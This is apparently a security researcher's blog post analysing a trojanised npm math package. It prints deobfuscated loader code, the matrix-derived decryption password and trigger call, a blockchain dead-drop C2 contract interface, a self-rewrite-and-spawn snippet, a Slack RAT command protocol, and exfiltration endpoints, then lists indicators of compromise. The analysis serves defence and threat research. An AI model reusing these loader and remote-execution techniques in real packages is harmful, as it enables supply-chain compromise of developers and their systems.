skip to content
veryserious.research

lusolve() and you shall receive

lusolve() and you shall receive

Malware samples come to find me in one of two ways. My automated threat-hunting platform, or a tweet. mathmain@1.0.0 came to me by such a tweet from SafeDep.

They asked a good question, why does a math library need an AES-256-GCM encrypted loader inside its solver? But what really caught my attention was, the encrypted code is still unread.

If there's one thing I've learned about threat-actors over the years it's their ability to include a fatal weakness in even the most convoluted of second-stage loaders. Let's begin shall we?


The sample is mathmain@1.0.0, published 2026-09-17 06:53 UTC by an account called allendev12 (allennightgale0812@outlook.com)

The first thing I see when I look at my threat-hunting for this package is that every single file is obfuscated, which is noisy to say the least and usually indicates that there is something that doesn't want to be found.

There aren't that many massive JS maths libraries, and this one is actually a copy of mathjs. So take mathjs, diff it and we get 6 interesting files.

lib/cjs/utils/event.js
lib/cjs/utils/is.js
lib/cjs/utils/graph.js
lib/cjs/utils/fraction.js
lib/cjs/utils/bignumber/type.js
lib/cjs/function/algebra/solver/lusolve.js
lib/cjs/function/algebra/solver/utils/solveValidation.js

After filtering out the noise, and the large encrypted blobs, event.js became the obvious entry point.

// event.js, deobfuscated
const crypto = require('crypto');
function eventEmitter(file, password) {
  const raw   = fs.readFileSync(file, 'utf8').trim();
  const data  = Buffer.from(raw, 'base64');
  const salt  = data.subarray(0x00, 0x10);
  const iv    = data.subarray(0x10, 0x1c);
  const tag   = data.subarray(0x1c, 0x2c);
  const ct    = data.subarray(0x2c);
  const key   = crypto.scryptSync(password, salt, 32);
  const d     = crypto.createDecipheriv('aes-256-gcm', key, iv);
  d.setAuthTag(tag);
  return Buffer.concat([d.update(ct), d.final()]);
}
// event(): decrypts `enc_<file>` IN PLACE and returns the new path
// validEvent(): decrypts an inline base64 string

So: AES-256-GCM, key derived from scryptSync(password, salt), blob format salt[16] ‖ iv[12] ‖ tag[16] ‖ ciphertext.

Perfectly standard apart from the fact the password is actually supplied by the victim in the form of linear algebra.


Here's the injected code in is.js, which in genuine mathjs is a boring pile of isNumber/isMatrix type checks:

// is.js, injected function, deobfuscated
function isGraph(x) {
  const filename = _event.validEvent(
    "IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==",
    JSON.stringify(x));                       // ← x is the password material
  const filepath = path.join(__dirname, filename);
  const mod = require(_event.event(filepath, JSON.stringify(x)));
  return x && mod.validGraph(JSON.stringify(x)) || false;
}

And the call site, reached on every math.lusolve():

// lusolve.js, end of _solve(), injected (genuine mathjs has no
// removeSolveValidation at all):
_0x1024d8 && (_0x14c89e =
  _solveValidation.removeSolveValidation(_0x1024d8['_data']));
//                                        ^^^^^^^^^^^^^^^^^^ L._data

This means that the password is

JSON.stringify(L._data)

I'm not going to pretend to know anything about matrices, factors and linear algebra – so my thanks go out to our AI overlords for the assist.

The password for the encrypted payload in this malware is

[[1,0,0],[1,1,0],[1,0.5,1]]

which is the L factor of, among infinitely many others.

math.lusolve([[1, 2, 0], [1, 4, 0], [1, 3, 0]], [1, 2, 3]) // 🎉

If this string means anything to you, leave a comment and maybe put your computer in the microwave.

Actually this is really cool, and I'd like to imagine that this malware has been specifically targeted to a lab or someone doing some science and maths, but I choose to leave the speculation to the professionals.


Onto the juicy stuff, the payload, the malware.

graph.js decrypts to 20,918 bytes of more javascript-obfuscator. (One quirk worth noting: the shipped file's string-array rotation checksum is mathematically unsatisfiable, the while(!![]) bootstrap that rotates the string array can never terminate. As shipped, require()ing stage 2 would pin a CPU forever.

Attacker build bug, or a deliberately disabled version. Either way the string table is static, so the logic reconstructs fine.)

Stage 2 does a couple of things.

Polyfill — Defines global.fetchHeadersatobbtoa over https — because stage 3 is a library that expects browser/Node-18+ APIs and the author wanted it running on whatever node the victim has.

Decrypt stage 3 — bignumber/type.js (1,179,416 bytes encrypted) decrypts with the same password to an obfuscated UMD bundle that self-identifies as ethers.js v5.7.0. The implant ships its own Ethereum library.

Goes on chain — Health-checks a JSON-RPC endpoint (eth_blockNumber), then instantiates:

new ethers.StaticJsonRpcProvider(rpcUrl, {
  name: 'Base Sepolia Testnet', chainId: 84532 })
const contract = new ethers.Contract(CONTRACT, ABI, provider);
contract.pollingInterval = 4000;

with the ABI surface:

getLastActiveCwAddress() view returns (address)
getCwPrivatePublic(address) view returns (string)
getSPubKey()  view returns (string)
getPWD()      view returns (string)
getTData1()   view returns (string)
getTData2()   view returns (string)
setCPubKey(string calldata pubKey) external
event TData1Updated()
event TData2Updated()

The contract is a dead-drop C2. The operator publishes a server X25519 public key via setCPubKey (fallback hardcoded in the implant as 0xbbad013d…6702); the implant generates an ephemeral X25519 keypair and derives session keys.

Commands and next-stage payloads arrive as TData1/TData2 — AES-256-GCM blobs whose update events trigger a watcher that decrypts, hex-decodes, and concatenates.

And a nice touch here.

fs.writeFileSync(path.join(__dirname, './event.js'), merged);
fs.chmodSync(merged, '755');
spawn(process.execPath, [merged], { detached: true, stdio: 'ignore' });

The contract can rewrite the implant's own decryptor and execute the result. Remote code delivery that survives the package being deleted from npm. Using a testnet is a classic: free, no KYC, publicly writable by anyone, and blockchain explorers will happily serve it forever.

Report in — A system survey (platformreleasearchhostname, CPU count, RAM, uptime — formatted as a friendly 🖥️ System Report) is posted to two places: a Telegram bot (api.telegram.org/bot<token>/sendMessage, chat -1004489630130) and a Slack channel via a bot token.


subwatcher, a Slack RAT

fraction.js decrypts to a 9 KB implant that writes itself to subwatcher and becomes the persistent channel: it polls a Slack channel's conversations.history every 10 seconds for messages from the operator (user == U0B91JWCVT6 or bot_id == B0B8Y0V8NUA — identity-gated, so nobody else's messages, including the implant's own bots, can command it).

Commands are AES-GCM packets keyed on a session secret the implant derives from the on-chain server key, in a chunked-transfer protocol: {t:'s'} starts a transfer, {t:'c', n, d} delivers chunk `n`, {t:'e'} ends it. On `e`, the chunks are concatenated and:

  • if the reassembled content equals exitexitexit → self-destruct (strip the LICENSE marker, kill the parent, exit);
  • otherwise → write to disk, chmod 755, spawn under node. Arbitrary code, arbitrary purpose, delivered through a Slack channel that looks like workplace chat in any proxy log.

So what can find out about this slack malware?

RAT workspaceExfil workspace
Workspace"Last_Slack" (lastslack-workspace.slack.com)"Signal_Slack" (signalslackworkspace.slack.com)
Botboybot (U0B8VRKCRMK / B0B8Z7M6EAE)signalbot (U0B8HNK3RU7 / B0B8VQZFP1T)
Channellast_channel (C0B8GEPFMK9)signal_channel (C0B8XPGCKQS)
Created2026-06-08 05:14 UTC2026-06-08 04:35 UTC
Messages00
Files0n/a (no files scope)

Interestingly these channels were created 14 weeks ago, which is a pretty long lead time for a package with a broken malware build.

Stage 2's obfuscator bootstrap is a while (true) loop that rotates a string array until a checksum matches.

I brute-forced all 192 rotations against the checksum: none satisfy it. 

The author appears to have post-processed the obfuscated file (you can find surgery artifacts in the string table — entries like 'var a0_0x2' and 'xff)),cons', which are source-code fragments, not strings), and the surgery broke the invariant the checksum depends on.

The kill-switch never runs, the report never sends, the Slack RAT never spawns.


So it's a bit disappointing, a lot of effort and some cool techniques for a malware that never runs. Even more intriguing is this.

1 million+ downloads in one day, for an anonymous package with no history and no established footprint. So I decided to look a little bit more into the blockchain c2, in case there was anything from previous runs or campaigns that could be useful.

This is where it stops being about mathmain, and start's being about testnet blockchain malware infra.


You can follow along here https://sepolia.basescan.org/txs?a=0xac0bfC4C48A679b667732128278EACBA1c191894

Three weeks of rehearsals

The contract was deployed on 2026-08-28 at 08:01 UTC — seven weeks after the Slack channels, three weeks before the npm publish — by 0xb27a7a4ac70084b5c6eae1a16b10cfbcaed26b80.

And then, starting ninety seconds after deployment, the rehearsals begin. 140 transactions in total, from 21 different wallets:

CallCountWho
setCwAddress41admin — enable/disable client wallets
setCPubKey28~20 ephemeral wallets — X25519 client key registration
setSPubKey21admin — rotate encrypted server key
setCwPrivate21admin — provision encrypted key material
setTData1/214+14admin — push encrypted payload pairs

The cycle never changes: enable a fresh funded wallet → provision its encrypted key material → rotate the encrypted server key → the wallet itself registers an X25519 public key → push an encrypted payload pair → zero everything out.

Two details from the contract itself worth your time. First, the ABI is verified on Basescan — 49 entries, and the implant only reads a slice of it. There are unused setTData3/4 slots, a setBT/setCI/setSP cluster of unknown purpose, and a full chunked file-drop facility (uploadChunkuploadMetadata, matching events) that has never been used.

This contract was built with room to grow. Second, getLastActiveCwAddress() still returns the wallet from the final Sep-16 session, and getTData1()/getTData2() still return the final payload pair.

About those 14 pushed payloads: I obviously tried to read them. The battery covered every static secret recovered from the malware — the matrix password, the fallback server key in four encodings, the session client keys, the wallet addresses, even the empty strins. 

The reason is the same B() function from stage 2: every blob is keyed to a per-session X25519 ECDH shared secret, with fresh keypairs generated for each rehearsal.

Nice forward secrecy, done properly, on malware, on a testnet. Each rehearsal is cryptographically erased the moment the session ends.

And one quiet observation that changes how you read the empty Slack channels: during those three weeks of rehearsals, not a single System Report ever landed in either channel. The operator never ran the actual implant end-to-end during testing, they drove the contract with scripts. The malware's reporting path has never been exercised by anyone, including its author. (Which, if you've been keeping score, is consistent with the published build being unable to finish loading.)

Which once again leaves us with a lot of work, testing and technical knowledge - with 0 impact.

Many thanks to SafeDep for bringing this package to my attention. You should read their article which you can find here.

Thanks for reading, as always leave a comment if you have some thoughts. And check out some other posts!


IOCs

package:        mathmain@1.0.0  (npm, published 2026-09-17 06:53 UTC)
publisher:      allendev12 <allennightgale0812@outlook.com>
tarball sha1:   dbe5f1cc1f4ed1b0708e3a54412a7166ca2bd9fa
tarball sha256: 1723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135

trigger password (JSON.stringify(L._data)):
                [[1,0,0],[1,1,0],[1,0.5,1]]
trigger input:  math.lusolve([[1,2,0],[1,4,0],[1,3,0]], [1,2,3])  (any matrix with that L)

stage2 sha256 (graph.js decrypted):        1e0f09c84aaf573627c003ce0f086517c3ea980cbea02f8ff918b1cc0d7e0bbb
stage3 sha256 (type.js decrypted):         6b1ad71bc3765dd272ea2ac63c1ea6ed97091ba0067d0b3e2294e1b34177cb25
stage4 sha256 (fraction.js decrypted):     6fd655d7196880fc5783f9dbb62b428baf220c2781970be54044376330be7af3

dead-drop contract (Base Sepolia, 84532):
                0xac0bfC4C48A679b667732128278EACBA1c191894  (deployed 2026-08-28 08:01 UTC)
operator admin wallet (deployer, sole admin caller):
                0xb27a7a4ac70084b5c6eae1a16b10cfbcaed26b80
fallback server x25519 pubkey: 0xbbad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702

telegram bot:   8961878831:AAG4…qI   chat -1004489630130
slack RAT:      workspace "Last_Slack"  channel C0B8GEPFMK9  bot boybot (U0B8VRKCRMK/B0B8Z7M6EAE)
                operator U0B91JWCVT6 / bot B0B8Y0V8NUA   token xoxb-11301867762550-…-…6S
slack exfil:    workspace "Signal_Slack" channel C0B8XPGCKQS  bot signalbot (U0B8HNK3RU7/B0B8VQZFP1T)
                token xoxb-11307403103236-…-…CW
kill marker:    "\nREDISTRIBUTION REQUIRES INCLUSION OF THIS LICENSE."
self-destruct:  literal string "exitexitexit"